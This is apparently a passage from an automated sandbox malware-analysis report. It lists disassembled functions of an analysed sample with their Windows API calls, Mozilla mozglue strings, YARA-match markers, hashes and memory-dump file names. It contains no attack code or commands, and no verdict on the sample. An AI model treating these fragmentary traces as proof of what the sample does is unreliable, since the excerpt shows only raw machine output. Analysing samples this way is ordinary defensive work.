lstrlen.KERNEL32(00000000), ref: 00ACD6AC
DeleteFileA.KERNEL32(00000000), ref: 00ACD72B

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b865e44c72168338b539d496a0c42462f415744b0cb3510ffc3ca780cd93c2b1
Instruction ID: af9d9c34078f35a928b92de59bcbee8853fe8d4bc9b02d09ae1eecc9562c52c6
Opcode Fuzzy Hash: b865e44c72168338b539d496a0c42462f415744b0cb3510ffc3ca780cd93c2b1
Instruction Fuzzy Hash: 569143729101489BCB04FBA4DE96EEE7338BF24300F50456AF507B6291EF746A09DB76

Function 6CBD5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBD5D40
EnterCriticalSection.KERNEL32(6CC3F688), ref: 6CBD5D67
__aulldiv.LIBCMT ref: 6CBD5DB4
LeaveCriticalSection.KERNEL32(6CC3F688), ref: 6CBD5DED

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: a1cc8ad2fc6acff19e3e5a6a1f885883980e97043ae18440e40a21577520ac85
Instruction ID: 27c3023ff860536d3e8d980ee2b753ad0a104a9e67f3827a8aef133bc5e3912a
Opcode Fuzzy Hash: a1cc8ad2fc6acff19e3e5a6a1f885883980e97043ae18440e40a21577520ac85
Instruction Fuzzy Hash: CC5171B1F001698FCF18CF68D954AAEBBB1FB85304F1A4A5DC819A7750C731AD45CB90

Function 6CBC4C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBC4C2F
LeaveCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBC4C82
EnterCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBC4C89

Strings

7S+Y/, xrefs: 6CBC4C0F, 6CBC544F
MOZ_BASE_PROFILER_HELP, xrefs: 6CBC5511
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBC50F3, 6CBC5121, 6CBC513C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBC54B9
GeckoMain, xrefs: 6CBC5554, 6CBC55D5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CBC5791
MOZ_PROFILER_STARTUP, xrefs: 6CBC55E1
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CBC57C5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBC54A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CBC5717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CBC56E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CBC57AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CBC5749
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CBC5724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CBC5766
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBC548D

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: 7S+Y/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-744887618
Opcode ID: ee3ae14b299e5b09229bbb7cc63d1691475f052cf94396b551ff853a722fc10f
Instruction ID: 891fd832c4b5697bfbd033427fb8f6b40d77529eb23e99255cb8d728bbc90b1d
Opcode Fuzzy Hash: ee3ae14b299e5b09229bbb7cc63d1691475f052cf94396b551ff853a722fc10f
Instruction Fuzzy Hash: 4E41C1317052914BD718DF29C49076A77F1EF82728F28861CD8798BAE0DB30D9458F87

Function 00AD3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 65e46a3429713fb6be0fcddaeda8f4529e06d6bba13cc2ab096722a8afdfcf9b
Instruction ID: 16437ff1d9f649fbc7dd608e4d284aedbdfa59d25a88ef91320d7b954a904f46
Opcode Fuzzy Hash: 65e46a3429713fb6be0fcddaeda8f4529e06d6bba13cc2ab096722a8afdfcf9b
Instruction Fuzzy Hash: F4414D72D10209ABCF04EFA5D945EEEBB74BF54304F00841AE417B6390EB74AA45CFA2

Function 6CBCB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBCB4F5
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBCB502
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBCB542
free.MOZGLUE(?), ref: 6CBCB578

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fb5827342f5385b04bd30ba3818acf761b4646c723fbd2a6cb986d790d527f67
Instruction ID: bbfb449ea16fb075d3c89ea099acef062d8788a93eaa13e3a5e4b9cd7a16e5b5
Opcode Fuzzy Hash: fb5827342f5385b04bd30ba3818acf761b4646c723fbd2a6cb986d790d527f67
Instruction Fuzzy Hash: 64110631A04B81CBD3218F29D51076AB3B0FF96319F10974AE84D53E02EBB1B9C58792

Function 6CBF3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CBBF20E,?), ref: 6CBF3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CBBF20E,00000000,?), ref: 6CBF3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBF3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CBF3E0E

Part of subcall function 6CBECC00: GetCurrentProcess.KERNEL32(?,?,6CBB31A7), ref: 6CBECC0D
Part of subcall function 6CBECC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CBB31A7), ref: 6CBECC16

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 50d1da815f3f900e6c902ec645835fab012e4710a60ba33c8a5abf16194c5390
Instruction ID: 164c91f275055d79cc36a69ba5c42520d89f60db3345f44e8344a240b2acd9db
Opcode Fuzzy Hash: 50d1da815f3f900e6c902ec645835fab012e4710a60ba33c8a5abf16194c5390
Instruction Fuzzy Hash: 69F0FE715002186BE704AB54EC41DAF377DDB46664F040020FD1D57741D635B91986F7

Function 00AD92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00AD3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00AD3AEE,?), ref: 00AD92FC
GetFileSizeEx.KERNEL32(000000FF,00AD3AEE), ref: 00AD9319
CloseHandle.KERNEL32(000000FF), ref: 00AD9327

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: fe76e49b6229f113b4832a7fc032f2dbf2478e2cb0844f66d5457b85ac22a86a
Instruction ID: b18f0caf19885ee45a80ed6377c0f8d328710607fe8e256b4d7b3f07f6bc4fa7
Opcode Fuzzy Hash: fe76e49b6229f113b4832a7fc032f2dbf2478e2cb0844f66d5457b85ac22a86a
Instruction Fuzzy Hash: 7AF03735E40308BBDB14DBB4DC49B9E77B9AB88720F10C258BA56EB3C0D670AA018B51

Function 00ADC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00ADC74E

Part of subcall function 00ADBF9F: __amsg_exit.LIBCMT ref: 00ADBFAF

__getptd.LIBCMT ref: 00ADC765
__amsg_exit.LIBCMT ref: 00ADC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00ADC797

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 60bc599afb346ae8249c63d186d0c7113ae1a32e10e3de9e3cf13aae652bc179
Instruction ID: 15df9feb1527a251b13ce4490906d5192b127c2a6340d7caa59745e906538188
Opcode Fuzzy Hash: 60bc599afb346ae8249c63d186d0c7113ae1a32e10e3de9e3cf13aae652bc179
Instruction Fuzzy Hash: A1F0F032D10302DBDB20BBB8894674E33A06F04730F61014BF007AB3D2CB245A41CF66

Function 6CC085B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CC085D3

Part of subcall function 6CBCCA10: malloc.MOZGLUE(?), ref: 6CBCCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CC08725

Strings

map/set<T> too long, xrefs: 6CC08720

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: e2090905fc3e53b3984e1630dfd2897fbfa1c125795bc2c31bab528bb873d1b0
Instruction ID: 84586e717d8e12ece8b15a6b073a6f88ba71d173d59dfdb4d4c6d691a2757c0b
Opcode Fuzzy Hash: e2090905fc3e53b3984e1630dfd2897fbfa1c125795bc2c31bab528bb873d1b0
Instruction Fuzzy Hash: DA516674604641CFD701CF18C084E5ABBF1BF4A318F1AC18AD8595BB52D336E885CF92

Function 6CC10DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBEFA80: GetCurrentThreadId.KERNEL32 ref: 6CBEFA8D
Part of subcall function 6CBEFA80: AcquireSRWLockExclusive.KERNEL32(6CC3F448), ref: 6CBEFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC10EFC

Part of subcall function 6CC01B80: GetCurrentThreadId.KERNEL32 ref: 6CC01B98
Part of subcall function 6CC01B80: AcquireSRWLockExclusive.KERNEL32(?,?,6CC01D96,00000000), ref: 6CC01BA1
Part of subcall function 6CC01B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6CC01D96,00000000), ref: 6CC01BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CC10E50

Part of subcall function 6CBD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5B85
Part of subcall function 6CBD5B50: EnterCriticalSection.KERNEL32(6CC3F688,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5B90
Part of subcall function 6CBD5B50: LeaveCriticalSection.KERNEL32(6CC3F688,?,?,?,6CBD56EE,?,00000001), ref: 6CBD5BD8
Part of subcall function 6CBD5B50: GetTickCount64.KERNEL32 ref: 6CBD5BE4

Strings

7S+Y/, xrefs: 6CC10DF0

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: 7S+Y/
API String ID: 2508600278-4163584386
Opcode ID: 9a364be90ecfa7192c1d7538deb0cc20ca59066a178a566d4b9308151cb7a47c
Instruction ID: 9941b2d7266b826d1bebca77603d01eafaf832b51e847a1bd131d2b390148f73
Opcode Fuzzy Hash: 9a364be90ecfa7192c1d7538deb0cc20ca59066a178a566d4b9308151cb7a47c
Instruction Fuzzy Hash: 194188756087869FC704CF2AC490A5AB7F5BF88318F40491DE98997B41EB30E819CB91

Function 6CC10480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6CC1041E,?,6CC103C0), ref: 6CC104D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1041E), ref: 6CC104E3

Strings

7S+Y/, xrefs: 6CC10490

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: 7S+Y/
API String ID: 1952960883-4163584386
Opcode ID: b2853ad12ef75b740abf8d1c2cdde5c20db33675edea7a0baeca96d34b95545a
Instruction ID: 8e268f28d588731be0461f0579294a59b5b6308b183bbaee5cdb695d153e1201
Opcode Fuzzy Hash: b2853ad12ef75b740abf8d1c2cdde5c20db33675edea7a0baeca96d34b95545a
Instruction Fuzzy Hash: 5321C670D087848BE7409F3E98813E5B7F4BFA9358F049659ED8886623FB71A5D8C781

Function 6CC01C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6CC0759E,?,?), ref: 6CC01CB4
free.MOZGLUE(?,?,?,?,?,?,6CC0759E,?,?,?,?,?,?,?,?,?), ref: 6CC01CE9

Strings

7S+Y/, xrefs: 6CC01C70

Memory Dump Source

